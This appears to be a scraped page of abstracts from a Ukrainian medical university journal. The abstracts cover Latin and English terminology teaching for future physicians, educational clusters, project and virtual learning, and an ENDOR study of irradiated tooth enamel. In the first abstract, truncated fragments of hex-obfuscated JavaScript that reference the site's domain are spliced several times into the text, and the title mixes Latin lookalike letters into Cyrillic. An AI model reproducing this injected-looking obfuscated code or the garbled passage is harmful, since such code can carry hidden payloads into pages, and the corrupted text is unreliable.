РOЛЬ ЛAТИНCЬКOЇ МOВИ У ФOРМУВAННI ТЕРМІНОЛОГІЧНОЇ КOМПEТEНТНOCТI МAЙБУТНIХ МEДИКIВ

The article describes formation of terminological competence as the compulsory component of speech culture of future specialists as the central problem of modern professional medical education; also the significance of Latin in learning of anatomical and histological, pharmaceutical and clinical terms is shown herewith as well as studying and understanding of these terms are proved to improve the level of professional communication of future physicians.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eУ cтaттi прoaнaлiзoвaнo oдну з цeнтрaльних прoблeм cучacнoї прoфeciйнoї мeдичнoї ocвiти – фoрмувaння тeрмiнoлoгiчнoї кoмпeтeнтнocтi як oбoв’язкoвoгo cклaдникa мoвлeннєвoї культури мaйбутнiх фaхiвцiв. З’яcoвaнo рoль лaтинcькoї мoви при вивчeннi aнaтoмiчнo-гicтoлoгiчних, фaрмaцeвтичних тa клiнiчних тeрмiнiв, oпрaцювaння i зacвoєння яких пiдвищить рiвeнь професійного спілкування мaйбутнiх мeдикiв.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

ФРАЗЕОЛОГІЧНИЙ ФОНД ЛАТИНСЬКОЇ МОВИ ЯК ДЖЕРЕЛО ФОРМУВАННЯ ЛЕКСИЧНОЇ КОМПЕТЕНЦІЇ МАЙБУТНІХ ЛІКАРІВ

The article reviews Latin proverbs and sayings, short quotes, statements of historical figures as a means of aphorism; it summarizes the importance of learning Latin aphorisms, quotes, proverbs and sayings and their corresponding equivalents in English and Ukrainian by medical students on Latin classes. According to historical conditions, Latin has lost its communicative function, but it has gained great historical and educational significance and has become an inexhaustible source of universal human culture and a link between antiquity and modernity. Learning Latin helps the deeper acquisition of knowledge from many specialties, and plays an important role in the artistic and aesthetic education of future physicians. Phraseological funds of many modern languages have been replenished by Latin and Greek aphorisms borrowed by new languages mainly through Latin. The Latin phraseological fund contains numerous proverbs and sayings borrowed by world’s languages in the translated form. Many Latin words were borrowed by Ukrainian, and it is not only the international terminological vocabulary used by scholars in various branches of knowledge but also everyday words (forum – форум (forum), colleague – колега (collega), professor – професор (professor), etc.). Latin is a basis of all medical terminology facilitating professional communication between languages. The study of Latin obviously helps future physicians to better understand and learn the medical terminology of Greek-Latin origin. Learning Latin not only introduces folk wisdom (learning of aphorisms, proverbs, and sayings), but also lays the foundations of scientific knowledge, promotes the formation of a professional language, which allows to carry out communicative tasks of medical staff.У статті розглянуто латинські прислів’я та приказки, короткі цитати, вислови історичних осіб як засіб афористики; узагальнено значення вивчення латинських афоризмів, цитат, приказок і прислів’їв на заняттях із латинської мови студентами-медиками та їх еквівалентів англійською та українською мовами. Історично склалося так, що латина втратила свою комунікативну функцію, але набула великого історичного та освітнього значення, стала невичерпним джерелом загальнолюдської культури та сполучною ланкою між античністю і сучасністю. Вивчення латинської мови допомагає більш глибокому засвоєнню знань iз багатьох спеціальностей i відіграє важливу роль у художньому та естетичному вихованні майбутніх медиків. Фразеологічні фонди багатьох сучасних мов поповнилися латинськими та давньогрецькими афоризмами, які були запозичені новими мовами переважно через латинську мову. Фразеологічний фонд латинської мови налічує численні прислів’я та приказки, що увійшли до складу багатьох мов світу у перекладній формі. Багато латинських слів увійшло і в українську мову, і це не тільки міжнародна термінологічна лексика, якою користуються науковці в різних сферах знань, а й ті слова, що ми вживаємо повсякденно (форум – forum (Latin: forum), колега – colleague (Latin: collega), професор – professor (Latin: professor) та ін.). Латинська лежить в основі всієї медичної термінології, сприяючи тим самим міжмовній професійній комунікації. Вивчення латинської мови не лише ознайомлює з народною мудрістю (вивчення крилатих висловів, прислів’їв та приказок), а й закладає основи наукових знань, сприяє засвоєнню медичної термінології греко-латинського походження майбутніми лікарями та формуванню професійного мовлення, що дозволяє виконувати комунікативні завдання медичного працівника

ПРОФЕСІЙНА КУЛЬТУРА В КОНТЕКСТІ ПІДГОТОВКИ МАЙБУТНЬОГО ЛІКАРЯ

The paper points out the specifics of medical students’ professional culture formation, analyses its components and conditions. The experience of virtual training programme use in Latin classes for medical students is summarized. Development of professional culture is sure to enrich the man’s inner world, as well as to contribute to his (her) professional development and personal self-improvement. Any person reveals himself (herself) most vividly while interacting with the others in performing professional duties, the outcomes often depending on the proper conduct, speaking, hearing, and language.&nbsp;&nbsp;&nbsp;&nbsp; Training of future medical professionals is an element of professional education and is aimed at providing specialists with a certain level of professional skills alongside with the formation of proper professional qualities and development of general personal culture. Medical educational institutions are supposed to provide future specialists with adequate amount of knowledge, necessary for the work in their field and to make them aware of their professional perspectives and able to influence the process actively and effectively. It is in this aspect that the professional culture is involved, that is demeanour, speaking, hearing, and language matching the generally accepted standards and principles, primarily moral, and the requirements set to the particular profession. Professional culture of the future medical workers is not the sum of professional knowledge, abilities, and skills only, but a part of general spiritual culture that manifests itself in professional competence, readiness for analysis and evaluation of professional and ethical issues, decision-making, communicative skills, as well as conscious striving for self-education, self-development, and constant professional self-perfection. Formation of medical students’ professional culture is a “teacher-student” indissoluble connection based on humanism, creative activity, and common search for new goals and tasks, which increase future specialists’ motivation to attain new peaks in the professional activity.&nbsp;У статті вказано на особливості формування професійної культури студентів-медиків, проаналізовано компоненти професійної культури та умови її формування. Узагальнено досвід використання віртуальної навчальної програми на заняттях з латинської мови у студентів-медиків. Зазначено, що розвиток професійної культури внутрішньо збагачує людину і сприяє її професійному становленню та особистісному самовдосконаленню. Найбільш яскраво людина виявляється у діяльності з іншими під час виконання професійних обов’язків. Від культури поведінки, говоріння, слухання та мови часто залежать результати професійної діяльності. Підготовка майбутніх медиків є складовою професійної освіти і спрямована на забезпечення фахівців певним рівнем професійної майстерності, формування у них відповідних професійних якостей з одночасним розвитком загальної культури особистості. Завдання навчальних закладів медичного профілю полягає в тому, щоб майбутні медичні фахівці оволоділи конкретною сумою знань, необхідних для роботи за обраним фахом, та усвідомили шляхи подальшого розвитку своєї професійної діяльності, уміли активно й ефективно впливати на цей процес. Саме в цьому аспекті можна говорити про професійну культуру, тобто про відповідність поведінки, говоріння, слухання, мови у професійній діяльності загальноприйнятим нормам і принципам, насамперед, моральним, а також вимогам, що висуваються саме до цієї професії. Професійна культура майбутнього лікаря – це не лише сума професійних знань, умінь та навичок, а й частина загальної духов­ної культури, яка проявляється у професійній компетентності, готовності до аналізу й оцінки професійно-етичних проб­лем, прийняття самостійних рішень, комунікативної майстерності, свідомої готовності до самоосвіти, саморозвитку, постійного професійного самовдосконалення. Формування професійної культури студента-медика – це процес нерозривного зв’язку педагога та студентів на основі гуманізму, творчості та пошуку нових цілей і завдань, вирішення яких підвищує мотивацію майбутніх спеціалістів до досягнення нових вершин у професійній діяльності

Educational clusters as a tool ofpublic policy on the market of educational services

Due to the new challenges, the implementation of cluster technology can be considired to be one of the innovative and promising tools of national and regional economy’ competitiveness raise. The cluster approach can be used is in different areas, but most attention in thie article has been paid to the problems of industrial clusters. At the same time, educational clusters remain to be poorly implemented in practice and, consequently, they are less studied theoretically. The aim of the article is to study the features of formation of educational clusters, to determine the theoretical foundations of the process and to prove the necessity to use the cluster approach in the process of the Ukrainian educational system’s management improvement in modern conditions. The aim of the article has led to the solution of such problems as: to give the definition of “education cluster”; to find out the specifics of the application of the cluster approach in education; to analyze main global trends of the educational sector’s clustering, to determine the classification of educational cluster in the world; to offer functional model of the educational cluster, based on socio-economic interaction of the cluster. The educational cluster is a union of closely related and geographically closely placed educational institutions, which promote joint development and growth of competitiveness of each separate ones. This is aimed at the improvement of innovation and quality of manpower’s training both on the regional and national labor market. It has been proven that the cluster approach of the organization of regional educational institutions transforms the situational contacts between enterprises, institutions and organizations into the system sustainable partnerships, stimulates the implementation of joint projects, and helps to reduce the total cost of the educational development, science and innovation development. It increases the efficiency of such structure, optimizes the available resources. As a result, the innovation activity of cluster membersis developing. However, there are the important factors such as the improvement of education and training systems of future teachers, its readiness to implement innovations in the region, to support the innovation and methodological sides of the educational process, to create opportunities for innovation and to improve the institutional framework and distribution system of knowledge and technologies. Due to this, the innovative educational cluster has been determined as a voluntary association of geographically close interacting entities, educational institutions, government, banking and private sector, innovative enterprises/organizations infrastructure. Such interaction is characterized by the production of competitive educational, cultural, social services, the availability of the agreed development strategy aimed at the interests of each participant and the region being a territory of cluster’s localization

Образовательные кластеры как инструмент государственной политики на рынке образовательных услуг

У статті наведено визначення терміну «освітній кластер», проаналізовано характерні особливості деяких всесвітньовідомих освітніх кластерів, запропоновано класифікацію освітніх кластерів світу. Виявлено основні світові тенденції кластеризації освітньої галузі. Представлена специфіка застосування кластерного підходу в сфері освіти. З’ясовано, що кластери та кластерні технології відіграють все більшу роль у розвитку інноваційних економік розвинених країн світу, де політика кластеризації за умов активної державної підтримки реалізується ще з початку 90-х років ХХ сторіччя. Оцінено позиції України у кластерному розрізі. У висновках наголошено на актуальності активізації міжнародної діяльності сучасних університетів. Встановлено, що формування освітніх кластерів є важливою частиною державної кадрової політики багатьох країн світу. Визначена доцільність впровадження кластерної політики для підвищення конкурентоспроможності українських освітніх установ на основі аналізу міжнародного досвіду. Виявлено, що результатом діяльності освітнього кластеру є дифузія інноваційної активності від одного суб’єкта продуктивних взаємин до іншого. Підкреслено, що кластери можуть стати основою, завдяки якій буде сформовано національну інноваційну систему.Due to the new challenges, the implementation of cluster technology can be considired to be one of the innovative and promising tools of national and regional economy’ competitiveness raise. The cluster approach can be used is in different areas, but most attention in thie article has been paid to the problems of industrial clusters. At the same time, educational clusters remain to be poorly implemented in practice and, consequently, they are less studied theoretically.The aim of the article is to study the features of formation of educational clusters, to determine the theoretical foundations of the process and to prove the necessity to use the cluster approach in the process of the Ukrainian educational system’s management improvement in modern conditions.The aim of the article has led to the solution of such problems as: to give the definition of “education cluster”; to find out the specifics of the application of the cluster approach in education; to analyze main global trends of the educational sector’s clustering, to determine the classification of educational cluster in the world; to offer functional model of the educational cluster, based on socio-economic interaction of the cluster.The educational cluster is a union of closely related and geographically closely placed educational institutions, which promote joint development and growth of competitiveness of each separate ones. This is aimed at the improvement of innovation and quality of manpower’s training both on the regional and national labor market.It has been proven that the cluster approach of the organization of regional educational institutions transforms the situational contacts between enterprises, institutions and organizations into the system sustainable partnerships, stimulates the implementation of joint projects, and helps to reduce the total cost of the educational development, science and innovation development.It increases the efficiency of such structure, optimizes the available resources. As a result, the innovation activity of cluster membersis developing. However, there are the important factors such as the improvement of education and training systems of future teachers, its readiness to implement innovations in the region, to support the innovation and methodological sides of the educational process, to create opportunities for innovation and to improve the institutional framework and distribution system of knowledge and technologies.Due to this, the innovative educational cluster has been determined as a voluntary association of geographically close interacting entities, educational institutions, government, banking and private sector, innovative enterprises/organizations infrastructure. Such interaction is characterized by the production of competitive educational, cultural, social services, the availability of the agreed development strategy aimed at the interests of each participant and the region being a territory of cluster’s localization.В статье приведено определение термина «образовательный кластер», проанализированы характерные особенности некоторых всемирно образовательных кластеров, предложена классификация образовательных кластеров мира. Выявлены основные мировые тенденции кластеризации образования. Представлена специфика применения кластерного подхода в сфере образования. Установлено, что кластеры и кластерные технологии играют все большую роль в развитии инновационных экономик развитых стран мира, где политика кластеризации в условиях активной государственной поддержки реализуется еще с начала 90-х годов ХХ столетия. Оценены позиции Украины в кластерном разрезе. В выводах отмечается актуальность активизации международной деятельности современных университетов. Установлено, что формирование образовательных кластеров является важной частью государственной кадровой политики многих стран мира. Определена целесообразность внедрения кластерной политики для повышения конкурентоспособности украинских образовательных учреждений на основе анализа международного опыта. Выявлено, что результатом деятельности образовательного кластера является диффузия инновационной активности от одного субъекта производительных отношений к другому. Подчеркнуто, что кластеры могут стать основой, благодаря которой будет сформирована национальная инновационная система

ВИКОРИСТАННЯ ПРОЕКТНОГО НАВЧАННЯ ПРИ ВИВЧЕННІ МЕДИЧНОЇ ТЕРМІНОЛОГІЇ ЛАТИНСЬКОГО І ГРЕЦЬКОГО ПОХОДЖЕННЯ

The article reveals the role and importance of the project method of Latin teaching; to represent the sample of the project “Latin and Greek medical terminology and their corresponding national equivalents in English”. The basic terminology competence of medical students is formed in Latin lessons because Latin vocabulary is used in Anatomy, Histology, Chemistry, Biology, as well as further clinical disciplines. Thus, the principle of close interdisciplinary integration helps students better understand the nature of the anatomical, histological, pharmaceutical, and clinical terms. Project-based learning to teach Latin and Greek medical terminology contributes training in logical thinking, boosting cognitive processes essential for medicine, and causes the development of research and creative skills of medical students, the ability to independently construct their knowledge, navigate the information space and think critically. It has been found that the use of project learning combined with all necessary elements of co-operating training of future medical workers greatly facilitates their creative training, development of communicative skills and contributes to independent decision-making. The efficient using project-based learning to teach Latin and Greek medical terminology in higher medical educational institutions in combination with conventional teaching and technical support provides the highest quality of the educational process.У статті розкрито роль і значення проектного навчання при вивченні медичної термінології латинського і грецького походження; розроблено зразок проекту «Латинська та грецька медична термінологія і відповідні їм еквіваленти англійською мовою». Основна термінологічна компетентність студентів-медиків формується на заняттях латинської мови, оскільки латинська лексика використовується в анатомії, гістології, хімії, біології, а також у клінічних дисциплінах. Таким чином, принцип тісної міждисциплінарної інтеграції допомагає студентам краще зрозуміти природу анатомічних, гістологічних, фармацевтичних і клінічних термінів. З’ясовано, що використання проектного навчання у поєднанні з усіма необхідними елементами кооперативного навчання майбутніх медичних працівників значно полегшує їх творчу професійну підготовку, розвиток комунікативних навичок та сприяє самостійному прийняттю рішень. Застосування проектного навчання при викладанні латинської та грецької медичної термінології сприяє підготовці логічного мислення, активізації когнітивних процесів, необхідних у галузі медицини, розвитку дослідницьких і творчих навичок студентів-медиків, здатності самостійно конструювати свої знання, орієнтуватися в інформаційному просторі та думати критично. Ефективне використання проектного навчання при викладанні латинської та грецької медичної термінології у вищих медичних навчальних закладах у поєднанні з традиційним навчанням і технічною підтримкою забезпечує найвищу якість навчального процесу

ВИКОРИСТАННЯ ВІРТУАЛЬНИХ НАВЧАЛЬНИХ ПРОГРАМ ДЛЯ ВИВЧЕННЯ ЛАТИНСЬКИХ МЕДИЧНИХ ТЕРМІНІВ

The article describes the effectiveness of using a virtual program in Latin lessons, analyzes the scientific and methodological approaches to using the virtual environment for the learning Latin medical terminology by students in medical schools. The experience of using the virtual program in Latin lessons by medical students is generalized. It was noted that using the virtual programs significantly expands the capabilities of teachers, promotes individualization of training, activating the cognitive activity of students; allows the teacher to tailor the learning process to their individual peculiarities. Today, considerable attention is paid to the informatization of the educational process in the system of higher education. Using computer technologies makes it possible to organize the information transfer process to students more efficiently, by using all possible channels. The total number of available curricula is significant. Using the virtual program takes an important place in studying. Informatization and computerization of education in the modern globalized world imply both the preparation of the teacher for the using innovative technologies and the student’s willingness to work independently, especially in the process of studying professional terminology. Virtual learning programs can be used in Professional Latin learning as a powerful source of information by means of individualizing learning, evaluating and controlling knowledge, as well as a means of animating students’ creative activity and encouraging them to study. The implementation of virtual programs greatly accelerates the process of mastering the educational material, diversifies it, makes it more interesting. Since the Latin computerized virtual program contains the necessary information from both theory and practice, it helps students to control their knowledge management methodology before the survey, as well as facilitating the assimilation of material in a group.У статті вказано на ефективність використання віртуальної програми на заняттях латинської мови, проаналізовано науково-методичні підходи до використання віртуального середовища для вивчення латинської медичної термінології студентами у вищих медичних навчальних закладах. Узагальнено досвід використання віртуальної навчальної програми на заняттях з латинської мови у студентів-медиків. Зазначено, що використання віртуальних навчальних програм значно розширює можливості викладачів, сприяє індивідуалізації навчання, активізації пізнавальної діяльності студентів; дає змогу максимально адаптувати процес навчання до їхніх індивідуальних особливостей. Сьогодні в системі вищої освіти значна увага приділяється інформатизації навчального процесу. Використання комп’ютерних технологій дає змогу організувати процес передачі інформації студентам більш ефективно, із застосуванням усіх можливих каналів. Арсенал наявних навчальних програм досить вагомий. Чільне місце в навчанні посідає застосування віртуальних навчальних програм. Інформатизація та комп’ютеризація освіти в сучасному глобалізованому світі передбачає як підготовку виклада­ча до використання інноваційних технологій, так і готовність студента працювати самостійно, особливо у процесі вивчення фахової термінології. Віртуальні навчальні програми можуть застосовуватися в процесі навчання латинської мови професійного медичного спрямування як потужне джерело інформації, як засіб індивідуалізації навчання, оцінювання та контро­лю знань, а також як засіб активізації творчої діяльності студентів та заохочення до навчання. Виконання віртуальних програм значно прискорює процес освоєння навчального матеріалу, урізноманітнює його, робить цікавішим. Оскільки комп’ютерна віртуальна програма з латинської мови містить необхідні відомості як з теорії, так і з практики, це допомагає студентам перед опитуванням проконтролювати свої знання за методикою виконання, а також полегшити засвоєння матеріалу на занятті

КОМУНІКАТИВНІ ВПРАВИ ЯК СКЛАДОВА ІНШОМОВНОЇ ФАХОВОЇ КОМПЕТЕНТНОСТІ МАЙБУТНІХ ЛІКАРІВ

The article deals with the practical usage expediency of English language communicative exercises as a component of medical students’ professional competence. The essence of foreign language competence as a constituent of the professional culture of Health Care worker is ascertained. The formation of a medical student’s foreign language competence is an important concept of the professional education in higher educational medical establishments and is realized by mastering the features of language competence at its phonetic, lexical and grammatical levels of study. The attention is concentrated on the necessity of educational communicative exersices’ analysis as a core component of English for Specific Purposes (ESP). The problems of special subject contents within the course of ESP, selection of teaching materials, development of students’ communicative component in the mastering of the English language skills are examined. The main components of the medical students’ lexical competence are described; science-based classification system of exercises for the formation of communicative competence is considered; the necessity of lexical mastering for proper opinion formation is emphasized. The examples of communicative lexical exercises for the implementation of professional speech activities of medical students in professional English classes are suggested. The practical usage of the communicative exercises develops speech skills and abilities for an opportunity to evaluate, express own opinions and promote self-development and self-actualization of medical students is clarified in this article.Стаття присвячена обґрунтуванню доцільності використання англомовних комунікативних вправ як складової формування фахової компетентності у студентів медичних ВНЗ. З’ясовано суть іншомовної компетенції, що є важливим концептом професіограми майбутнього працівника охорони здоров’я. Наголошується, що формування іншомовної фахової компетентності студента-медика є невід’ємним аспектом професійно орієнтованого навчання у медичному ВНЗ і здійснюється шляхом опанування особливостей мовної компетенції на її фонетичному, лексичному та граматичному рівнях вивчення. Увага акцентується на необхідності аналізу навчальних лексичних завдань як фундаментальної основи курсу іноземної мови за професійним спрямуванням (ESP). Розглядаються питання змістового наповнення курсу ESP, відбору навчального лексичного матеріалу, розвитку комунікативного компонента в процесі оволодіння студентом іншомовними фаховими уміннями. Охарактеризовано основні складові лексичної компетенції студентів-медиків, розглянуто науково обґрунтовану класифікацію системи вправ для формування мовленнєвої компетенції; наголошено на необхідності засвоєння лексики для правильного оформлення висловлювання. Запропоновано зразки комунікативних лексичних вправ, які необхідні для здійснення фахової мовленнєвої діяльності студентів-медиків на заняттях англійської мови за професійним спрямуванням. З’ясовано, що використання комунікативних завдань на заняттях англійської мови за професійним спрямуванням розвиває мовленнєві навички та вміння, які надають можливість давати оцінку, висловлювати власну думку і сприяють саморозвитку та самоактуалізації студентів-медиків

УЗАГАЛЬНЕНА МОДЕЛЬ ІНТЕГРАТИВНОЇ ТЕХНОЛОГІЇ УПРАВЛІННЯ САМОСТІЙНОЮ РОБОТОЮ СТУДЕНТІВ-МЕДИКІВ ПРИ ВИВЧЕННІ ІНОЗЕМНОЇ МОВИ

Different approaches to the study of the system of students’ individual work management have been analyzed. The peculiarity of the proposed integrative technology of students’ individual work management is that the management effectiveness is achieved through the organization of the students’ individual work with diagnostic objectives, the achievement of which is subject to a clear description and definition. Structural components of integrated technology are: goals, content, methods, organizational forms and functional components. It has been proved that the effectiveness of management of students’ individual work depends on the goals and methods of achieving them; internal motivation and cognitive interests of students; quality of the content aspect of educational information for self-study; creation of favorable conditions for self-realization of a student; the methodological provision of the discipline, its precise planning, organization and management, student’s free time; the competent use of various forms of current and periodic control. Integrated technology develops intellectual and creative students’ abilities, helps to make decisions. This circumstance is especially important, as in modern science, there is an increasingly evident tendency to the synthesis of knowledge, to the awareness and disclosure of the collectivity of cognition objects.У статті проаналізовано різні підходи до вивчення системи управління самостійною роботою студентів. Особливість запропонованої інтегративної технології управління самостійною роботою студентів полягає в тому, що ефективність управління досягається за рахунок організації СРС з діагностично поставленими цілями, досягнення яких піддається чіткому опису та визначенню. Структурними компонентами інтегративної технології є: цілі, зміст, методи, організаційні форми і функціональні компоненти. Було доведено, що ефективність управління СРС залежить від цілей і способів їх досягнення; внутрішньої мотивації і пізнавальних інтересів студентів; якості змістовного аспекту навчальної інформації для самостійного вивчення; створення сприятливих умов для самореалізації студента; методичного забезпечення навчальної дисципліни, від її чіткого планування, організації та управління, ретельного вивчення вільного часу студента; від компетентного використання різноманітних форм поточного та періодичного контролю. Інтеграційна технологія розвиває інтелектуальні та творчі здібності студентів, допомагає приймати масштабні рішення. Дана обставина особливо важлива, оскільки в сучасній науці все більш очевидна тенденція до синтезу знань, до усвідомлення і розкриття спільності об’єктів пізнання

ENDOR study of irradiated tooth enamel

γ- and x-irradiated tooth enamel has been studied by EPR and ENDOR. Radiation-induced EPR spectrum of tooth enamel was found to be a superposition of signals with dominant contribution determined by CO₂- radicals. Two types of these radicals were observed: ordered and disordered centers. EPR spectra of both CO₂- centers are described by axial g-tensor with g = 1.9975 and g ⊥= 2.0021 with g || c. The ENDOR spectrum of unannealed enamel powder consists of a singlet at Larmor frequency of ³¹P nuclei and doublet at Larmor frequency of ¹H nuclei. Samples annealing at T = 200-250 ⁰C resulted in the destruction of disordered centers and appearence of superhyperfine structure of ENDOR spectra. Its analysis with advanced the powder ENDOR theory allows to determine the superhyperfine constants and to find for the first time that the ordered CO₂- radical is located in B sites (phosphorous position) of bioapatite lattice. This substitution is accompanied by the shift of the nuclei of the first ³¹P shell towards the defects by 0.04 nm and the formation of the OH vacancy in the nearest radical surroundings